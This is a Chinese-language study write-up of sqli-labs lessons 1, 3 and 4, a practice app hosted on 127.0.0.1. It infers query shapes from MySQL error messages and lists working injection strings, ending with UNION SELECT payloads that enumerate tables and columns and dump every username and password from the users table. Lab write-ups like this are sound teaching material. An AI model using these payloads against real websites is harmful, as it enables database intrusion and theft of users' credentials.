sqli-labs less1 &&less3&&less4学习心得
0x01.less1
id=1/ id=1 and 1=1结果正常
id=1 and 1=2结果正常,不合理
id=1'提示:
分析:
use near ' ' 1' ' LIMIT 0,1 '
所以正确sql语句 为:
select username,password from table where id='input'
所以:
id = 1' and '1'='1
结果正确
即:
select username,password from table where id='1' and '1'='1'
或者:
id = 1' and 1=1 --+
结果正确
即:
select username,password from table where id='1' and 1=1 --+'
0x02.less03
输入:
http://127.0.0.1/Sqli-Labs/Less-3/?id=1 and 1=2
得到:
所以存在sql注入漏洞
于是输入:
id=1'得到提示:
near ' ' 1' ') LIMIT 0,1 ' at line 1
所以 猜测sql语句为:
select username,password from table where id = ('input')
所以注入语句可以是:
id=1') and ('1'='1
即:select username,password from table where id = ('1') and ('1'='1')
注入成功
或者:
id=1') and 1=1 --+
即:select username,password from table where id = ('1') and 1=1 --+')
注入成功
0x04.less4
注入语句:
http://127.0.0.1/Sqli-Labs/Less-4/?id=1") and 1=2 --+
或者:
http://127.0.0.1/Sqli-Labs/Less-4/?id=(1" and "1=2
测试:
http://127.0.0.1/Sqli-Labs/Less-4/
?id=1") order by 3 --+
字段为3
http://127.0.0.1/Sqli-Labs/Less-4/
?id=-1") union select 1,2,3 --+
可以利用的字段为2,3
http://127.0.0.1/Sqli-Labs/Less-4/
?id=-1") union select 1,table_name,3 from information_schema.tables where table_schema='secu
rity' --+
http://127.0.0.1/Sqli-Labs/Less-4/
?id=-1") union select 1,table_name,3 from information_schema.tables where table_schema='secu
rity' limit 3,1 --+
第4个表名:
http://127.0.0.1/Sqli-Labs/Less-4/
?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='secu
rity' --+
4 个表名全部显示 :
http://127.0.0.1/Sqli-Labs/Less-4/
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
显示列名:
http://127.0.0.1/Sqli-Labs/Less-4/
?id=-1") union select 1,group_concat(username,password),3 from users --+
显示users表里所有的用户名和密码: